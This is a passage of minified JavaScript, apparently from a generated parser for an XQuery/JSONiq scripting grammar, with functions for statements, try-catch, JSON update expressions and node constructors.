19||_l==127520||_l==127764||_l==128031||_l==128032||_l==128276||_l==128543||_l==128544||_l==128788||_l==129055||_l==129056||_l==129300||_l==129567||_l==129568||_l==129812||_l==130079||_l==130080||_l==130324||_l==131103||_l==131104||_l==131348||_l==131615||_l==131616||_l==131860||_l==133151||_l==133152||_l==133396||_l==133663||_l==133664||_l==133908||_l==134175||_l==134176||_l==134420||_l==134687||_l==134688||_l==134932||_l==136223||_l==136224||_l==136468||_l==136735||_l==136736||_l==136980||_l==138271||_l==138272||_l==138516||_l==140319||_l==140320||_l==140564||_l==141588||_l==142612||_l==144660){_l=Kl(7,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{Ya(),Jl(7,t,-1),_l=-15}catch(a){try{Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),ef(),Jl(7,t,-2),_l=-15}catch(f){try{Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),nf(),Jl(7,t,-3),_l=-15}catch(l){try{Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),kf(),Jl(7,t,-12),_l=-15}catch(c){_l=-13,Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(7,t,-13)}}}}}}switch(_l){case-2:ef();break;case-3:nf();break;case 90198:sf();break;case 90214:uf();break;case 113284:ff();break;case 16009:case 16046:case 116910:case 119945:case 128649:cf();break;case 17560:vf();break;case 17651:gf();break;case 141562:Ef();break;case 17661:xf();break;case-12:case 16134:kf();break;case-13:Af();break;case 53:Mf();break;case-15:break;default:Ya()}}function Ga(){Vl.startNonterminal(\"ApplyStatement\",Pl),Pf(),Sl(53),Vl.endNonterminal(\"ApplyStatement\",Pl)}function Ya(){Hf(),xl(53)}function Za(){Vl.startNonterminal(\"AssignStatement\",Pl),Sl(31),kl(255),Nl(),hi(),kl(27),Sl(52),kl(267),Nl(),_f(),Sl(53),Vl.endNonterminal(\"AssignStatement\",Pl)}function ef(){xl(31),kl(255),pi(),kl(27),xl(52),kl(267),Df(),xl(53)}function tf(){Vl.startNonterminal(\"BlockStatement\",Pl),Sl(276),kl(277),Nl(),za(),Sl(282),Vl.endNonterminal(\"BlockStatement\",Pl)}function nf(){xl(276),kl(277),Wa(),xl(282)}function rf(){Vl.startNonterminal(\"BreakStatement\",Pl),Sl(86),kl(59),Sl(176),kl(28),Sl(53),Vl.endNonterminal(\"BreakStatement\",Pl)}function sf(){xl(86),kl(59),xl(176),kl(28),xl(53)}function of(){Vl.startNonterminal(\"ContinueStatement\",Pl),Sl(102),kl(59),Sl(176),kl(28),Sl(53),Vl.endNonterminal(\"ContinueStatement\",Pl)}function uf(){xl(102),kl(59),xl(176),kl(28),xl(53)}function af(){Vl.startNonterminal(\"ExitStatement\",Pl),Sl(132),kl(71),Sl(221),kl(267),Nl(),_f(),Sl(53),Vl.endNonterminal(\"ExitStatement\",Pl)}function ff(){xl(132),kl(71),xl(221),kl(267),Df(),xl(53)}function lf(){Vl.startNonterminal(\"FLWORStatement\",Pl),tt();for(;;){kl(173);if(Hl==220)break;Nl(),rt()}Nl(),hf(),Vl.endNonterminal(\"FLWORStatement\",Pl)}function cf(){nt();for(;;){kl(173);if(Hl==220)break;it()}pf()}function hf(){Vl.startNonterminal(\"ReturnStatement\",Pl),Sl(220),kl(270),Nl(),Ka(),Vl.endNonterminal(\"ReturnStatement\",Pl)}function pf(){xl(220),kl(270),Qa()}function df(){Vl.startNonterminal(\"IfStatement\",Pl),Sl(152),kl(22),Sl(34),kl(267),Nl(),G(),Sl(37),kl(77),Sl(245),kl(270),Nl(),Ka(),kl(48),Sl(122),kl(270),Nl(),Ka(),Vl.endNonterminal(\"IfStatement\",Pl)}function vf(){xl(152),kl(22),xl(34),kl(267),Y(),xl(37),kl(77),xl(245),kl(270),Qa(),kl(48),xl(122),kl(270),Qa()}function mf(){Vl.startNonterminal(\"SwitchStatement\",Pl),Sl(243),kl(22),Sl(34),kl(267),Nl(),G(),Sl(37);for(;;){kl(35),Nl(),yf(),kl(113);if(Hl!=88)break}Sl(109),kl(70),Sl(220),kl(270),Nl(),Ka(),Vl.endNonterminal(\"SwitchStatement\",Pl)}function gf(){xl(243),kl(22),xl(34),kl(267),Y(),xl(37);for(;;){kl(35),bf(),kl(113);if(Hl!=88)break}xl(109),kl(70),xl(220),kl(270),Qa()}function yf(){Vl.startNonterminal(\"SwitchCaseStatement\",Pl);for(;;){Sl(88),kl(267),Nl(),dn();if(Hl!=88)break}Sl(220),kl(270),Nl(),Ka(),Vl.endNonterminal(\"SwitchCaseStatement\",Pl)}function bf(){for(;;){xl(88),kl(267),vn();if(Hl!=88)break}xl(220),kl(270),Qa()}function wf(){Vl.startNonterminal(\"TryCatchStatement\",Pl),Sl(250),kl(87),Nl(),tf();for(;;){kl(36),Sl(91),kl(257),Nl(),_n(),Nl(),tf(),kl(278);switch(Hl){case 91:Ll(279);break;default:_l=Hl}if(_l==38491||_l==45659||_l==46171||_l==60507||_l==65627||_l==67163||_l==74843||_l==76891||_l==77403||_l==82011||_l==83035||_l==84059||_l==88155||_l==91227||_l==92251||_l==95323||_l==102491||_l==127067||_l==127579||_l==130139){_l=Kl(8,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{kl(36),xl(91),kl(257),Dn(),nf(),_l=-1}catch(a){_l=-2}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(8,Pl,_l)}}if(_l!=-1&&_l!=2651&&_l!=3163&&_l!=35931&&_l!=36955&&_l!=37467&&_l!=37979&&_l!=39515&&_l!=40027&&_l!=40539&&_l!=41051&&_l!=41563&&_l!=42075&&_l!=42587&&_l!=43099&&_l!=43611&&_l!=44123&&_l!=45147&&_l!=46683&&_l!=47707&&_l!=48219&&_l!=49243&&_l!=49755&&_l!=50267&&_l!=51803&&_l!=52315&&_l!=52827&&_l!=53339&&_l!=53851&&_l!=54363&&_l!=55387&&_l!=55899&&_l!=56411&&_l!=56923&&_l!=57435&&_l!=57947&&_l!=61019&&_l!=61531&&_l!=62043&&_l!=62555&&_l!=63067&&_l!=63579&&_l!=64091&&_l!=64603&&_l!=66139&&_l!=67675&&_l!=68187&&_l!=68699&&_l!=69211&&_l!=69723&&_l!=70235&&_l!=72283&&_l!=74331&&_l!=75867&&_l!=77915&&_l!=78427&&_l!=78939&&_l!=79451&&_l!=81499&&_l!=82523&&_l!=83547&&_l!=84571&&_l!=85083&&_l!=85595&&_l!=87131&&_l!=87643&&_l!=89179&&_l!=90203&&_l!=92763&&_l!=93275&&_l!=94299&&_l!=94811&&_l!=97883&&_l!=98395&&_l!=99419&&_l!=101467&&_l!=101979&&_l!=103003&&_l!=103515&&_l!=104027&&_l!=105563&&_l!=108635&&_l!=109147&&_l!=110683&&_l!=111707&&_l!=112219&&_l!=112731&&_l!=113243&&_l!=113755&&_l!=114779&&_l!=115291&&_l!=115803&&_l!=116315&&_l!=116827&&_l!=117339&&_l!=119899&&_l!=120411&&_l!=120923&&_l!=121435&&_l!=122971&&_l!=123995&&_l!=124507&&_l!=125019&&_l!=128091&&_l!=128603&&_l!=129115&&_l!=129627&&_l!=131163&&_l!=131675&&_l!=133211&&_l!=133723&&_l!=134235&&_l!=134747&&_l!=136283&&_l!=136795&&_l!=138331&&_l!=140379)break}Vl.endNonterminal(\"TryCatchStatement\",Pl)}function Ef(){xl(250),kl(87),nf(),kl(36),xl(91),kl(257),Dn(),nf();for(;;){kl(278);switch(Hl){case 91:Ll(279);break;default:_l=Hl}if(_l==38491||_l==45659||_l==46171||_l==60507||_l==65627||_l==67163||_l==74843||_l==76891||_l==77403||_l==82011||_l==83035||_l==84059||_l==88155||_l==91227||_l==92251||_l==95323||_l==102491||_l==127067||_l==127579||_l==130139){_l=Kl(8,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{kl(36),xl(91),kl(257),Dn(),nf(),Jl(8,t,-1);continue}catch(a){Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(8,t,-2);break}}}if(_l!=-1&&_l!=2651&&_l!=3163&&_l!=35931&&_l!=36955&&_l!=37467&&_l!=37979&&_l!=39515&&_l!=40027&&_l!=40539&&_l!=41051&&_l!=41563&&_l!=42075&&_l!=42587&&_l!=43099&&_l!=43611&&_l!=44123&&_l!=45147&&_l!=46683&&_l!=47707&&_l!=48219&&_l!=49243&&_l!=49755&&_l!=50267&&_l!=51803&&_l!=52315&&_l!=52827&&_l!=53339&&_l!=53851&&_l!=54363&&_l!=55387&&_l!=55899&&_l!=56411&&_l!=56923&&_l!=57435&&_l!=57947&&_l!=61019&&_l!=61531&&_l!=62043&&_l!=62555&&_l!=63067&&_l!=63579&&_l!=64091&&_l!=64603&&_l!=66139&&_l!=67675&&_l!=68187&&_l!=68699&&_l!=69211&&_l!=69723&&_l!=70235&&_l!=72283&&_l!=74331&&_l!=75867&&_l!=77915&&_l!=78427&&_l!=78939&&_l!=79451&&_l!=81499&&_l!=82523&&_l!=83547&&_l!=84571&&_l!=85083&&_l!=85595&&_l!=87131&&_l!=87643&&_l!=89179&&_l!=90203&&_l!=92763&&_l!=93275&&_l!=94299&&_l!=94811&&_l!=97883&&_l!=98395&&_l!=99419&&_l!=101467&&_l!=101979&&_l!=103003&&_l!=103515&&_l!=104027&&_l!=105563&&_l!=108635&&_l!=109147&&_l!=110683&&_l!=111707&&_l!=112219&&_l!=112731&&_l!=113243&&_l!=113755&&_l!=114779&&_l!=115291&&_l!=115803&&_l!=116315&&_l!=116827&&_l!=117339&&_l!=119899&&_l!=120411&&_l!=120923&&_l!=121435&&_l!=122971&&_l!=123995&&_l!=124507&&_l!=125019&&_l!=128091&&_l!=128603&&_l!=129115&&_l!=129627&&_l!=131163&&_l!=131675&&_l!=133211&&_l!=133723&&_l!=134235&&_l!=134747&&_l!=136283&&_l!=136795&&_l!=138331&&_l!=140379)break;kl(36),xl(91),kl(257),Dn(),nf()}}function Sf(){Vl.startNonterminal(\"TypeswitchStatement\",Pl),Sl(253),kl(22),Sl(34),kl(267),Nl(),G(),Sl(37);for(;;){kl(35),Nl(),Tf(),kl(113);if(Hl!=88)break}Sl(109),kl(95),Hl==31&&(Sl(31),kl(255),Nl(),hi()),kl(70),Sl(220),kl(270),Nl(),Ka(),Vl.endNonterminal(\"TypeswitchStatement\",Pl)}function xf(){xl(253),kl(22),xl(34),kl(267),Y(),xl(37);for(;;){kl(35),Nf(),kl(113);if(Hl!=88)break}xl(109),kl(95),Hl==31&&(xl(31),kl(255),pi()),kl(70),xl(220),kl(270),Qa()}function Tf(){Vl.startNonterminal(\"CaseStatement\",Pl),Sl(88),kl(262),Hl==31&&(Sl(31),kl(255),Nl(),hi(),kl(30),Sl(79)),kl(260),Nl(),ms(),kl(70),Sl(220),kl(270),Nl(),Ka(),Vl.endNonterminal(\"CaseStatement\",Pl)}function Nf(){xl(88),kl(262),Hl==31&&(xl(31),kl(255),pi(),kl(30),xl(79)),kl(260),gs(),kl(70),xl(220),kl(270),Qa()}function Cf(){Vl.startNonterminal(\"VarDeclStatement\",Pl);for(;;){kl(98);if(Hl!=32)break;Nl(),B()}Sl(262),kl(21),Sl(31),kl(255),Nl(),hi(),kl(157),Hl==79&&(Nl(),ds()),kl(145),Hl==52&&(Sl(52),kl(267),Nl(),_f());for(;;){if(Hl!=41)break;Sl(41),kl(21),Sl(31),kl(255),Nl(),hi(),kl(157),Hl==79&&(Nl(),ds()),kl(145),Hl==52&&(Sl(52),kl(267),Nl(),_f())}Sl(53),Vl.endNonterminal(\"VarDeclStatement\",Pl)}function kf(){for(;;){kl(98);if(Hl!=32)break;j()}xl(262),kl(21),xl(31),kl(255),pi(),kl(157),Hl==79&&vs(),kl(145),Hl==52&&(xl(52),kl(267),Df());for(;;){if(Hl!=41)break;xl(41),kl(21),xl(31),kl(255),pi(),kl(157),Hl==79&&vs(),kl(145),Hl==52&&(xl(52),kl(267),Df())}xl(53)}function Lf(){Vl.startNonterminal(\"WhileStatement\",Pl),Sl(267),kl(22),Sl(34),kl(267),Nl(),G(),Sl(37),kl(270),Nl(),Ka(),Vl.endNonterminal(\"WhileStatement\",Pl)}function Af(){xl(267),kl(22),xl(34),kl(267),Y(),xl(37),kl(270),Qa()}function Of(){Vl.startNonterminal(\"VoidStatement\",Pl),Sl(53),Vl.endNonterminal(\"VoidStatement\",Pl)}function Mf(){xl(53)}function _f(){Vl.startNonterminal(\"ExprSingle\",Pl);switch(Hl){case 137:Ll(236);break;case 174:Ll(233);break;case 250:Ll(232);break;case 152:case 243:case 253:Ll(229);break;default:_l=Hl}switch(_l){case 16009:case 16046:case 116910:case 119945:case 128649:Z();break;case 17560:Sn();break;case 17651:ln();break;case 141562:Tn();break;case 17661:mn();break;default:Pf()}Vl.endNonterminal(\"ExprSingle\",Pl)}function Df(){switch(Hl){case 137:Ll(236);break;case 174:Ll(233);break;case 250:Ll(232);break;case 152:case 243:case 253:Ll(229);break;default:_l=Hl}switch(_l){case 16009:case 16046:case 116910:case 119945:case 128649:et();break;case 17560:xn();break;case 17651:cn();break;case 141562:Nn();break;case 17661:gn();break;default:Hf()}}function Pf(){Vl.startNonterminal(\"ExprSimple\",Pl);switch(Hl){case 77:Ll(231);break;case 218:Ll(234);break;case 219:Ll(235);break;case 110:case 159:Ll(237);break;case 103:case 129:case 235:Ll(230);break;default:_l=Hl}if(_l==133851){_l=Kl(9,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{Ho(),_l=-6}catch(a){_l=-11}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(9,Pl,_l)}}switch(_l){case 16001:case 16107:on();break;case 97951:case 98463:Oo();break;case 97902:case 98414:_o();break;case 98010:Bo();break;case-6:case 98011:Po();break;case 15975:Wo();break;case 85102:Bf();break;case 85151:Ff();break;case 85210:qf();break;case-11:Uf();break;case 85069:Wf();break;default:Pn()}Vl.endNonterminal(\"ExprSimple\",Pl)}function Hf(){switch(Hl){case 77:Ll(231);break;case 218:Ll(234);break;case 219:Ll(235);break;case 110:case 159:Ll(237);break;case 103:case 129:case 235:Ll(230);break;default:_l=Hl}if(_l==133851){_l=Kl(9,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{Ho(),Jl(9,t,-6),_l=-13}catch(a){_l=-11,Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(9,t,-11)}}}switch(_l){case 16001:case 16107:un();break;case 97951:case 98463:Mo();break;case 97902:case 98414:Do();break;case 98010:jo();break;case-6:case 98011:Ho();break;case 15975:Xo();break;case 85102:jf();break;case 85151:If();break;case 85210:Rf();break;case-11:zf();break;case 85069:Xf();break;case-13:break;default:Hn()}}function Bf(){Vl.startNonterminal(\"JSONDeleteExpr\",Pl),Sl(110),kl(56),Sl(166),kl(264),Nl(),Yr(),Vl.endNonterminal(\"JSONDeleteExpr\",Pl)}function jf(){xl(110),kl(56),xl(166),kl(264),Zr()}function Ff(){Vl.startNonterminal(\"JSONInsertExpr\",Pl);switch(Hl){case 159:Ll(56);break;default:_l=Hl}_l=Kl(10,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{xl(159),kl(56),xl(166),kl(267),Df(),xl(163),kl(267),Df();switch(Hl){case 81:Ll(69);break;default:_l=Hl}if(_l==108113){_l=Kl(11,Pl);if(_l==0){var a=Dl,f=Pl,l=Hl,c=Bl,h=jl,p=Fl,d=Il,v=ql;try{xl(81),kl(69),xl(211),kl(267),Df(),Jl(11,f,-1)}catch(m){Dl=a,Pl=f,Hl=l,Hl==0?Zl=f:(Bl=c,jl=h,Fl=p,Fl==0?Zl=h:(Il=d,ql=v,Zl=v)),Jl(11,f,-2)}_l=-2}}_l==-1&&(xl(81),kl(69),xl(211),kl(267),Df()),_l=-1}catch(g){_l=-2}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(10,Pl,_l)}switch(_l){case-1:Sl(159),kl(56),Sl(166),kl(267),Nl(),_f(),Sl(163),kl(267),Nl(),_f();switch(Hl){case 81:Ll(69);break;default:_l=Hl}if(_l==108113){_l=Kl(11,Pl);if(_l==0){var a=Dl,f=Pl,l=Hl,c=Bl,h=jl,p=Fl,d=Il,v=ql;try{xl(81),kl(69),xl(211),kl(267),Df(),_l=-1}catch(m){_l=-2}Dl=a,Pl=f,Hl=l,Hl==0?Zl=f:(Bl=c,jl=h,Fl=p,Fl==0?Zl=h:(Il=d,ql=v,Zl=v)),Jl(11,Pl,_l)}}_l==-1&&(Sl(81),kl(69),Sl(211),kl(267),Nl(),_f());break;default:Sl(159),kl(56),Sl(166),kl(267),Nl(),hl(),Sl(163),kl(267),Nl(),_f()}Vl.endNonterminal(\"JSONInsertExpr\",Pl)}function If(){switch(Hl){case 159:Ll(56);break;default:_l=Hl}_l=Kl(10,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{xl(159),kl(56),xl(166),kl(267),Df(),xl(163),kl(267),Df();switch(Hl){case 81:Ll(69);break;default:_l=Hl}if(_l==108113){_l=Kl(11,Pl);if(_l==0){var a=Dl,f=Pl,l=Hl,c=Bl,h=jl,p=Fl,d=Il,v=ql;try{xl(81),kl(69),xl(211),kl(267),Df(),Jl(11,f,-1)}catch(m){Dl=a,Pl=f,Hl=l,Hl==0?Zl=f:(Bl=c,jl=h,Fl=p,Fl==0?Zl=h:(Il=d,ql=v,Zl=v)),Jl(11,f,-2)}_l=-2}}_l==-1&&(xl(81),kl(69),xl(211),kl(267),Df()),Jl(10,t,-1),_l=-3}catch(g){_l=-2,Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(10,t,-2)}}switch(_l){case-1:xl(159),kl(56),xl(166),kl(267),Df(),xl(163),kl(267),Df();switch(Hl){case 81:Ll(69);break;default:_l=Hl}if(_l==108113){_l=Kl(11,Pl);if(_l==0){var a=Dl,f=Pl,l=Hl,c=Bl,h=jl,p=Fl,d=Il,v=ql;try{xl(81),kl(69),xl(211),kl(267),Df(),Jl(11,f,-1)}catch(m){Dl=a,Pl=f,Hl=l,Hl==0?Zl=f:(Bl=c,jl=h,Fl=p,Fl==0?Zl=h:(Il=d,ql=v,Zl=v)),Jl(11,f,-2)}_l=-2}}_l==-1&&(xl(81),kl(69),xl(211),kl(267),Df());break;case-3:break;default:xl(159),kl(56),xl(166),kl(267),pl(),xl(163),kl(267),Df()}}function qf(){Vl.startNonterminal(\"JSONRenameExpr\",Pl),Sl(218),kl(56),Sl(166),kl(264),Nl(),Yr(),Sl(79),kl(267),Nl(),_f(),Vl.endNonterminal(\"JSONRenameExpr\",Pl)}function Rf(){xl(218),kl(56),xl(166),kl(264),Zr(),xl(79),kl(267),Df()}function Uf(){Vl.startNonterminal(\"JSONReplaceExpr\",Pl),Sl(219),kl(82),Sl(261),kl(64),Sl(196),kl(56),Sl(166),kl(264),Nl(),Yr(),Sl(270),kl(267),Nl(),_f(),Vl.endNonterminal(\"JSONReplaceExpr\",Pl)}function zf(){xl(219),kl(82),xl(261),kl(64),xl(196),kl(56),xl(166),kl(264),Zr(),xl(270),kl(267),Df()}function Wf(){Vl.startNonterminal(\"JSONAppendExpr\",Pl),Sl(77),kl(56),Sl(166),kl(267),Nl(),_f(),Sl(163),kl(267),Nl(),_f(),Vl.endNonterminal(\"JSONAppendExpr\",Pl)}function Xf(){xl(77),kl(56),xl(166),kl(267),Df(),xl(163),kl(267),Df()}function Vf(){Vl.startNonterminal(\"CommonContent\",Pl);switch(Hl){case 12:Sl(12);break;case 23:Sl(23);break;case 277:Sl(277);break;case 283:Sl(283);break;default:yl()}Vl.endNonterminal(\"CommonContent\",Pl)}function $f(){switch(Hl){case 12:xl(12);break;case 23:xl(23);break;case 277:xl(277);break;case 283:xl(283);break;default:bl()}}function Jf(){Vl.startNonterminal(\"ContentExpr\",Pl),Xa(),Vl.endNonterminal(\"ContentExpr\",Pl)}function Kf(){Va()}function Qf(){Vl.startNonterminal(\"CompDocConstructor\",Pl),Sl(119),kl(87),Nl(),yl(),Vl.endNonterminal(\"CompDocConstructor\",Pl)}function Gf(){xl(119),kl(87),bl()}function Yf(){Vl.startNonterminal(\"CompAttrConstructor\",Pl),Sl(82),kl(258);switch(Hl){case 276:Sl(276),kl(267),Nl(),G(),Sl(282);break;default:Nl(),Ha()}kl(87);switch(Hl){case 276:Ll(277);break;default:_l=Hl}if(_l==144660){_l=Kl(12,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{xl(276),kl(88),xl(282),_l=-1}catch(a){_l=-2}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(12,Pl,_l)}}switch(_l){case-1:Sl(276),kl(88),Sl(282);break;default:Nl(),yl()}Vl.endNonterminal(\"CompAttrConstructor\",Pl)}function Zf(){xl(82),kl(258);switch(Hl){case 276:xl(276),kl(267),Y(),xl(282);break;default:Ba()}kl(87);switch(Hl){case 276:Ll(277);break;default:_l=Hl}if(_l==144660){_l=Kl(12,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{xl(276),kl(88),xl(282),Jl(12,t,-1),_l=-3}catch(a){_l=-2,Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(12,t,-2)}}}switch(_l){case-1:xl(276),kl(88),xl(282);break;case-3:break;default:bl()}}function el(){Vl.startNonterminal(\"CompPIConstructor\",Pl),Sl(216),kl(251);switch(Hl){case 276:Sl(276),kl(267),Nl(),G(),Sl(282);break;default:Nl(),Ia()}kl(87);switch(Hl){case 276:Ll(277);break;default:_l=Hl}if(_l==144660){_l=Kl(13,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{xl(276),kl(88),xl(282),_l=-1}catch(a){_l=-2}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(13,Pl,_l)}}switch(_l){case-1:Sl(276),kl(88),Sl(282);break;default:Nl(),yl()}Vl.endNonterminal(\"CompPIConstructor\",Pl)}function tl(){xl(216),kl(251);switch(Hl){case 276:xl(276),kl(267),Y(),xl(282);break;default:qa()}kl(87);switch(Hl){case 276:Ll(277);break;default:_l=Hl}if(_l==144660){_l=Kl(13,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{xl(276),kl(88),xl(282),Jl(13,t,-1),_l=-3}catch(a){_l=-2,Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(13,t,-2)}}}switch(_l){case-1:xl(276),kl(88),xl(282);break;case-3:break;default:bl()}}function nl(){Vl.startNonterminal(\"CompCommentConstructor\",Pl),Sl(96),kl(87),Nl(),yl(),Vl.endNonterminal(\"CompCommentConstructor\",Pl)}function rl(){xl(96),kl(87),bl()}function il(){Vl.startNonterminal(\"CompTextConstructor\",Pl),Sl(244),kl(87),Nl(),yl(),Vl.endNonterminal(\"CompTextConstructor\",Pl)}function sl(){xl(244),kl(87),bl()}function ol(){Vl.startNonterminal(\"PrimaryExpr\",Pl);switch(Hl){case 184:Ll(256);break;case 216:Ll(254);break;case 276:Ll(277);break;case 82:case 121:Ll(259);break;case 96:case 244:Ll(93);break;case 119:case 202:case 256:Ll(139);break;case 6:case 70:case 72:case 73:case 74:case 75:case 77:case 79:case 80:case 81:case 83:case 84:case 85:case 86:case 88:case 89:case 90:case 91:case 93:case 94:case 97:case 98:case 101:case 102:case 103:case 104:case 105:case 106:case 108:case 109:case 110:case 111:case 112:case 113:case 118:case 122:case 123:case 125:case 126:case 128:case 129:case 131:case 132:case 133:case 134:case 135:case 136:case 137:case 141:case 146:case 148:case 150:case 151:case 153:case 154:case 155:case 159:case 160:case 161:case 162:case 163:case 164:case 166:case 170:case 171:case 172:case 174:case 176:case 178:case 180:case 181:case 182:case 186:case 192:case 194:case 198:case 199:case 200:case 201:case 203:case 206:case 212:case 213:case 218:case 219:case 220:case 221:case 222:case 224:case 225:case 228:case 229:case 234:case 235:case 236:case 237:case 240:case 248:case 249:case 250:case 251:case 252:case 254:case 257:case 260:case 261:case 262:case 263:case 266:case 267:case 270:case 274:Ll(92);break;default:_l=Hl}if(_l==2836||_l==3348||_l==4372||_l==4884||_l==5396||_l==5908||_l==16148||_l==16660||_l==17684||_l==18196||_l==20756||_l==21780||_l==22804||_l==23316||_l==23828||_l==24340||_l==27924||_l==28436||_l==30484||_l==34068||_l==35092||_l==36116||_l==37140||_l==37652||_l==38164||_l==38676||_l==39700||_l==40212||_l==40724||_l==41236||_l==41748||_l==42260||_l==42772||_l==43284||_l==43796||_l==44308||_l==45332||_l==45844||_l==46356||_l==46868||_l==47892||_l==48404||_l==49428||_l==49940||_l==50452||_l==51988||_l==52500||_l==53012||_l==53524||_l==54036||_l==54548||_l==55572||_l==56084||_l==56596||_l==57108||_l==57620||_l==58132||_l==60692||_l==61204||_l==61716||_l==62228||_l==62740||_l==63252||_l==63764||_l==64276||_l==64788||_l==65812||_l==66324||_l==67348||_l==67860||_l==68372||_l==68884||_l==69396||_l==69908||_l==70420||_l==72468||_l==74516||_l==75028||_l==76052||_l==77076||_l==77588||_l==78100||_l==78612||_l==79124||_l==79636||_l==81684||_l==82196||_l==82708||_l==83220||_l==83732||_l==84244||_l==84756||_l==85268||_l==85780||_l==87316||_l==87828||_l==88340||_l==89364||_l==90388||_l==91412||_l==92436||_l==92948||_l==93460||_l==94484||_l==94996||_l==95508||_l==98068||_l==98580||_l==99604||_l==101652||_l==102164||_l==102676||_l==103188||_l==103700||_l==104212||_l==105748||_l==108820||_l==109332||_l==110868||_l==111892||_l==112404||_l==112916||_l==113428||_l==113940||_l==114964||_l==115476||_l==115988||_l==116500||_l==117012||_l==117524||_l==120084||_l==120596||_l==121108||_l==121620||_l==123156||_l==124180||_l==124692||_l==125204||_l==127252||_l==127764||_l==128276||_l==128788||_l==129300||_l==129812||_l==130324||_l==131348||_l==131860||_l==133396||_l==133908||_l==134420||_l==134932||_l==136468||_l==136980||_l==138516||_l==140564||_l==141588||_l==142612||_l==144660){_l=Kl(14,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{bl(),_l=-10}catch(a){_l=-11}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(14,Pl,_l)}}switch(_l){case 8:case 9:case 10:case 11:oi();break;case 31:li();break;case 34:di();break;case 44:mi();break;case 17414:case 17478:case 17480:case 17481:case 17482:case 17483:case 17485:case 17487:case 17488:case 17489:case 17491:case 17492:case 17493:case 17494:case 17496:case 17497:case 17498:case 17499:case 17501:case 17502:case 17505:case 17506:case 17509:case 17510:case 17511:case 17512:case 17513:case 17514:case 17516:case 17517:case 17518:case 17519:case 17520:case 17521:case 17526:case 17527:case 17530:case 17531:case 17533:case 17534:case 17536:case 17537:case 17539:case 17540:case 17541:case 17542:case 17543:case 17544:case 17545:case 17549:case 17554:case 17556:case 17558:case 17559:case 17561:case 17562:case 17563:case 17567:case 17568:case 17569:case 17570:case 17571:case 17572:case 17574:case 17578:case 17579:case 17580:case 17582:case 17584:case 17586:case 17588:case 17589:case 17590:case 17592:case 17594:case 17600:case 17602:case 17606:case 17607:case 17608:case 17609:case 17610:case 17611:case 17614:case 17620:case 17621:case 17626:case 17627:case 17628:case 17629:case 17630:case 17632:case 17633:case 17636:case 17637:case 17642:case 17643:case 17644:case 17645:case 17648:case 17656:case 17657:case 17658:case 17659:case 17660:case 17662:case 17664:case 17665:case 17668:case 17669:case 17670:case 17671:case 17674:case 17675:case 17678:case 17682:Si();break;case 141514:yi();break;case 141568:wi();break;case 32:case 78:case 120:case 124:case 145:case 152:case 165:case 167:case 185:case 191:case 226:case 227:case 242:case 243:case 253:case 14854:case 14918:case 14920:case 14921:case 14922:case 14923:case 14925:case 14927:case 14928:case 14929:case 14930:case 14931:case 14932:case 14933:case 14934:case 14936:case 14937:case 14938:case 14939:case 14941:case 14942:case 14944:case 14945:case 14946:case 14949:case 14950:case 14951:case 14952:case 